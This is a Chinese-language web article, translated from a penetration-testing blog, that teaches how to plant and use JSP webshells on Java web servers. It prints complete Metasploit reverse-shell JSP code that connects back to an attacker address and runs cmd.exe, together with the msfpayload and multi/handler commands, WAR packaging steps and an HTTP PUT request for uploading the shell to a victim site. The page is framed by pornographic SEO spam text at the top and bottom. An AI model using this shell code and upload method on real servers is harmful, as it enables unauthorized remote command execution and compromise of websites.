成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

外國大牛教你玩轉JSP Shell

安全 應用安全
現如今,使用JSP開發的的網站越來越多,很多大公司的數據中心也會使用這種架構。在筆者的滲透經驗之中,拿下JSP網站的主要方法就是上傳Shell從而執行命令。在本文中筆者將舉兩個JSP shell code的例子,和幾個常見的上傳shell的方法。

什么是WebShell

WebShell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁后門。黑客在入侵了一個網站后,通常會將這些asp或php后門文件與網站服務器WEB目錄下正常的網頁文件混在一起,然后就可以使用瀏覽器…

[[114327]]

現如今,使用JSP開發的的網站越來越多,很多大公司的數據中心也會使用這種架構。在我的滲透經驗之中,拿下JSP網站的主要方法就是上傳Shell從而執行命令。在下面的文章中我將舉兩個JSP shell code的例子,和幾個常見的上傳shell的方法。

JSP Shell

對于不怎么熟悉Web Shell的人來說,我前文指的JSP Shell是一段"Java Server Page"這段代碼可以允許任何指令在服務器上執行。一般來說,Shell通過一個HTML from來接受需要執行的指令。下面,我對于每個例子都會給出基本的Shell代碼。我個人比較喜歡用,Metasploit JSP shells,因為它具有很好的穩定性和清爽的界面。

基本JSP shell

這是一個最簡單的 JSP Shell,使用方法如下。

(1)保存為cmd.jsp上傳到服務器。

(2)訪問這個頁面,執行命令。

外國大牛教你玩轉JSP Shell

Metasploit JSP Shell

在攻擊中使用Metasploit JSP Shell大概需要六步。

(1)使用msfpayload創建一個cmd.jsp

(2)上傳cmd.jsp到服務器

(3)運行Metasploit multi-handler

(4)訪問cmd.jsp

(5)獲得shell

(6)如果是windows,升級到meterpreter shell

創建一個JSP Shell可以使用如下的命令,LHOST代表了自己主機的地址。

ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp

上面的指令成功執行之后,Metasploit會生cmd.jsp的源代碼,有些情況下你可能需要修改其中的一些變量來繞過防火墻的檢測。

  1. <%@page import="java.lang.*"%>   
  2. <%@page import="java.util.*"%>   
  3. <%@page import="java.io.*"%>  
  4.  <%@page import="java.net.*"%>  
  5.  <% class StreamConnector extends Thread  
  6.  {   
  7. InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os )   
  8. {   
  9. this.is = is;   
  10. this.os = os;   
  11. }   
  12. public void run()  
  13. {   
  14. BufferedReader in = null;  
  15. BufferedWriter out = null;  
  16. try { in = new BufferedReader( new InputStreamReader( this.is ) );  
  17. out = new BufferedWriter( new OutputStreamWriter( this.os ) );  
  18. char buffer[] = new char[8192];  
  19. int length;  
  20. while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )   
  21. {   
  22. out.write( buffer, 0, length );   
  23. out.flush();  
  24. }  
  25. }  
  26. catch( Exception e ){} try { ifin != null ) in.close();  
  27.  if( out != null ) out.close();   
  28. }   
  29. catch( Exception e ){}  
  30.  }   
  31. try { Socket socket = new Socket( "192.168.100.110", 53 );  
  32.  Process process = Runtime.getRuntime().exec( "cmd.exe" );  
  33. new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();  
  34.  ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();   
  35. }   
  36. catch( Exception e ) {}  
  37.  %> 

之后就是把cmd.jsp文件上傳到目標服務器。假設上傳后的地址是,http://www.victim.com/cmd.jsp之后就開始運用Metasploit multi handler,打開msfconsole使用如下命令。

use exploit/multi/handler setg LHOST 192.168.100.110 setg LPORT 53 setg PAYLOAD java/jsp_shell_reverse_tcp setg SHELL cmd.exe exploit –j -z

最后訪問 http://www.victim.com/cmd.jsp ,msfconsole就會受到反彈回來的鏈接。

你可以通過以下的指令訪問這條shell

sessions –I 1

如果目標主機是一個windows主機,可以用以下的指令吧shell升級成一個meter-preter shell

sessions –U 1

打包JSP Shells

有些情況下,需要把cmd.jsp打包成一個WAR文件(比如JBoss).在windows環境下,需要如下幾步。

(1)安裝JDK

(2)新建 WEB-INF目錄

(3)在 WEB-INF/web.xml 中輸入如下內容

  1. <web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  2.  xsi:schemalocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4">  
  3. <servlet-name>Command</servlet-name>   
  4. <jsp-file>/cmd.jsp</jsp-file>  
  5. </web-app> 

(4)使用如下命令可以把jsp,文件打包成jar包。

"C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe" cvf cmd.war WEB-INF cmd.jsp

Shell上傳

使用PUT方法

PUT方法是HTTP的一個擴展協議,允許用戶向服務器上傳文件。很久以前這個漏洞還是很流行的。

基本所有掃描工具都可以,掃描到這個漏洞,也可以通過ncat之類的工具找到這個漏洞。我比較喜歡

使用burp,使用burp檢測這個漏洞,需要如下幾步。

(1) 進入repeater tab選項卡

(2) 構造如下文件頭

PUT /path/cmd.jsp HTTP/1.1 Host: Content-Length: 0

(3) 在文件頭下面連續輸入兩次回車之后輸入JSP shell code。

(4) 在burp下提交構造好的包。

上傳方式

一般情況下,網站對于上傳文件的類型都有很嚴格的控制,但攻擊者仍然有幾種方法來繞過他們。這里就不詳細敘述了。

發布WAR文件

有一些服務器軟件會使用到WAR,其中一些會提供用戶上傳WAR文件的接口。有些會允許用戶使用一些外部源。Josh Abraham 寫了一些jBoss metasploit exploits,叫做jboss_maindeployer。這里還有一篇比較不錯的paper來講針對jBoss的攻擊。

文件共享

有的時候,網站的主目錄會被部署到ftp服務器上,如果能猜到密碼或者是ftp使用了默認的密碼。就可以通過ftp來上傳shell。

其實這是一篇科普文。最后對于文件上傳技巧的敘述比較冗長有刪節。

原文地址:https://www.netspi.com/blog/entryid/126/hacking-with-jsp-shells

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2018-03-22 10:26:13

2011-08-10 15:58:12

WPS符號欄

2018-05-12 16:26:17

互聯網VPC子網

2024-04-09 12:08:51

Next組件Next.js

2010-07-27 09:17:23

服務器整合

2021-05-18 14:42:55

PythonMySQL

2013-03-13 09:56:10

2013-09-10 10:20:12

數據大數據大數據應用

2015-03-23 12:33:28

2009-06-16 09:06:37

JavaMailJSP

2023-08-18 14:39:02

2012-04-17 14:33:00

牛排New iPad

2011-01-28 15:47:15

webOS 2.1

2021-12-10 08:39:50

SQLPLUS Oracle 數據庫

2019-05-16 15:54:59

人工智能AI

2011-06-09 11:39:04

噴墨打印機技巧

2014-08-19 09:10:45

IT運維

2016-11-17 16:58:01

華為 手機

2018-02-07 16:05:59

MySQLMyRocksRocksDB

2020-04-26 19:12:29

shell腳本Linux
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 超碰一区二区 | 天堂一区在线 | 亚洲国产免费 | 高清免费av | 精品视频 免费 | 中文字幕成人 | 久久不射网 | 日韩精品成人 | 一级黄色影片在线观看 | 欧美在线观看一区 | 中文字幕在线人 | 国产高清在线观看 | 亚洲视频欧美视频 | 精品91久久久 | 91一区二区三区 | 亚欧精品 | 亚洲精品一区二三区不卡 | 日本不卡一区二区三区在线观看 | 国产精久久久久久久妇剪断 | 中文字幕一区在线观看视频 | 91精品国产91久久久久久吃药 | 国产精品视频一区二区三区不卡 | 成人二区 | 一区二区在线不卡 | 日韩在线不卡视频 | www.99精品| 综合国产在线 | 欧美精| 久久久成人精品 | 777zyz色资源站在线观看 | 成人免费视频网站在线观看 | 国产激情一区二区三区 | 成人在线精品视频 | 久久久久一区 | 色888www视频在线观看 | 福利片在线看 | 日韩国产欧美 | 91精品国产91久久综合桃花 | 国产一级一片免费播放 | 性色av网站 | 久久99精品久久久久久国产越南 |